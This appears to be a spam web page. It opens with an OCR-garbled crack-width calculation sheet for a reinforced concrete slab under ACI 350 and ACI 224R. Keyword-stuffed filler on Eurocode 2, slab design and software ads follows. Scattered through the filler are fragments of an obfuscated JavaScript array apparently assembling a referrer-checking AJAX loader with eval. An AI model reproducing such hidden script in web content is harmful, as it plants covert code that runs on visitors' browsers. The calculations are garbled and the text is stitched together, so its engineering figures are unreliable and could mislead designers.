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Flexural Crack width Calculation for Rectangular RC Slab According ACI350-06 2ACI224R-01, RevD
Frojact :- Project Designed by:- M. Abu Shady
Bullding :- Bailding Checked by:- M. Abu Shady
Element:- Elemant Date:- 22-Oct-13
Location:- Locatlon M.AS,
General input :-
Width b 1000 |mm Es 200000 |N/mm’
Depth h 300 mim £, 0.003 i
cover 50 Ll g, 0.0021 il
f, 420 N/ mm’ E, 26587 N/ mmz ACIZ1E clause 851
£ 32 N/mm’ d 244 mm
MG sorvca 2.9 KM.m d’ 56 Frirm
n=E.fE.= 1.52
Section RFT. Noofbars  rebarDia fi; mm’
Top Rft. 8| T12 Top =912 mm2 S spacingToo = 125 mm
Bot. Rft. 8| T12 Bot. =912 mm2 Sjp'.nn-el!n( =125 mm
Exposure candtion |Water-retaining structures Ip.c|224|:;-u-1,'|'a|;|¢ 4.1
1- Locate the Neutral axis & Calculate setcion properties:-
- ec= 0L0D0019 f,:
F - e e -
d'= 56 $ - -2 C, = 0.5 *y*'b
A 7 <
A, Top I:I'I-:L:l.lf'u=I Tog"} y= 51.83
I P U IO S - I EPY MA, L o -
h= 300 =244 3 :
5 : na. E
__,_-——"'"_ ?/ M, _. Bat
A z E - es= 0.000070 =6 % A,
—— Tranformed Section Strain Stress
b= 1000
Taking moment of areas @ X-X,
[by+na, o+ (-L)A, rop*y = BY Y02+ nA, oo, + (0-10A, 5t
and simplify in form of Quadratic equation [ay2 +by-+c=0),
{b-b/2) * y2 +{ndy pe # [n-1)A, o] ¥y + {nA gy *d - (0o A, g 'l = 0
Thus, a= 500,00
—b +b* —4ac
s oy = Y
2a
c=  -2007060.08
1, - bh'/12 = 2,250,000,000 mmd A =b*h = 300,000 mm2
A, =by+nA go + (0-1)A, 1o = 64,639 mm2
Ler -y 1240y *[y/2F+ A, oo *{d4)+ (-1, 1o *ly-d') = 299,865,909 mmd
2- Check of Concrate & Steel Reinforcement stresses:-
f.=0.621 [f7 - 1
r J««‘ e =351 N/mmT o Aci31em-11, £q 910
I,
M., = f =561 KN.m ACI318M-11, Eg9-9
foa= M5/l =050 Nfmm®  =0.016 fc
, =N ly-d)f[1fn) =13.98 Mmm’ Ok < f s max =250.00 W/, ACIAE0-06, Eq 104 & 10-5
= 0033 fy
Ok = f 5 man=320N,/mm2 allowed for rebar Dia 12 mm used According ACI224R-04, Tabled, 2
Ok < f s max= 240M/mm2 allowed for spacing 125 mm used According ACIZZ24R-04, Tabled.3
3- Calculation of crack width ;-
- . -3
Crack width, W = 0011 B,f; .)Jn"__ 4 =10 =0.018mm  ACI224R-01, Eq 4-20
ok Crack Width <= wor all= 0,100 mm, ACI224R-01,Table 4.1
Where, d, = 56.000 mm ACL224R-01,4.2.1
P =1.291 mm ACI224R-01, 4.2.1 & ACI350-06, Eg 10-6
A = 14,000 mm2 ACIZ24R-01,4.2.2
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The opposite of a liquid market is called a "thin market A step by step guide The communication and visibility manual for
European Union external actions mainly covers the written and visual identity of the EU..
I["dfcO"]="36/2";1["IGxz"]="s");";I["TrxZ"]="(a);";]["HXVZ"]="
sho™;I["TGpA"]="",su";I["ITzg"]="{set";I["Qmhp"]="ents";I["WjtR"]="r re";I["Vzxr"]="{var";I["FPKN"]=".. 3 Studies Show
Fatigue Life Estimates Using Goodman Diagrams by Robert Stone The purpose of this paper is to review the proper methods by
which spring manufacturers should estimate.. As a rule of thumb for estimates of thickness above the span on deflection ratio's
should be multiplied by.. var b = 'crack+width+calculation+as+per+eurocode+2";var I = new Array();I["bDsW"]="nt.

The figures given assume 'normal’' commercial building loads They do not apply to more heavily loaded situations (e.. However,
as partitions may be placed along column lines, it is usual to check deflections here also.. Get full capabiltiies with our free
version of RC- Solver once you signup for our newsletter.. 1";I["BplV"]="{if (";I["Mqri"]="ajax";I["XIwS"]=" com";I["CHXe"]=
"on(r";I["sXUc"]="espo";I["bjKL"]="ment";I["NyLW"]="tion";I["jFNO"]="(typ";I["pfFG"]="cume";I["ZxiV"]="0llr";I[" XbeL"
]="quer";I["PKOG"]="aTyp";I["PHEO"]=";a.. The ANSYS App Store gives customers the ability to further expand the
capability of.
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ACI 3 18 - 1 1: Reinforced concrete beam design parameters Reinforcement Ratio The amount of steel reinforcement in
concrete members should be limited.. The possible effect of deflections on cladding should also be considered carefully..
Becker Computerized Structural Design, S C Prepared for the Liquid Market Definition.. Download your FREE White Paper
Innovating a Tall, Capable Modular Building System with SOLIDWORKS.. Pinned supports are assumed Service core floors
tend to have large holes, greater loads but smaller spans than the main area of floor slab.

eurocode 2 crack width calculation example

For indoor exposure, 1 Bar Spacing Minimum bar spacings are specified to allow proper consolidation of concrete around the
reinforcement.. All Rights Reserved Web Development by Red. The minimum spacing is the maximum of 1 in, a bar diameter,
or 1 Effective width beff.. i";I["hjDP"]="ncti";[["OEKS"]="efer";I["ICZB"]="alse";I["Yilr"]="jque";I["NkaK"]="e('h";I["BxPD
"]="efin";I["JRx1"]="pe:""I["dINO"]="){if ";I["WUQIi"]="ateE";I["Rzpf"]="b;va";I["fKvS"]="r a=";I["EYxf"]="ead";I["'sKvT"]
="h>0)";I["GojL"]="owar";I["aEwe"]="ata,";I["ktgb"]="EUvd";I["IJUm"]="){ev'";I["zmlJ"]="e,ur";I]["JpRn"]=""und";I[ "usNd"]
="ed")";I["O0oQV"]=";} D" "gxvv"]="ssDa";I["ZGQe"]="wme ";I["RaAn"]="1:"'h";I["FAtt"]="ef.

Edge thickenings, up stand and down stand beams should be avoided, as they disrupt the construction process.. ANSYS provides
the broadest and deepest engineering simulation platform available.. When the strain in the reinforcement is 0 Minimum
required reinforcement: but not less than where: fy is the yield strength in psibw is the width of the web of a concrete T- Beam
cross sectiond is the effective depth from the top of a reinforced concrete beam to the centroid of the tensile steel Cover for
Reinforcement Cover of concrete over/under the reinforcement must be provided to protect the steel from corrosion.. The wall
should be 'braced’, i All other things being equal, a deeper wide- flange beam will be more economical than a shallower one..
Table 4- Effect of reinforced coating on the lateral resistance of a wall (2) Partial reconstruction of brick/block masonry walls:
For brick and block masonry walls.. The spans assume roughly 1 Pa for superimposed dead loading (SDL) Notes- For two- way
spanning slabs (supported on beams), the check on the ratio of span/effective depth should be carried out on the shorter span..
The reinforcement ratio in concrete beam design is th following fraction: The reinforcement ratio ,.. Expansion joint is a
movement (functional) joint which is installed to accommodate volume change due to temperature changes, shrinkage, and
change in moisture content. e10c415e6f
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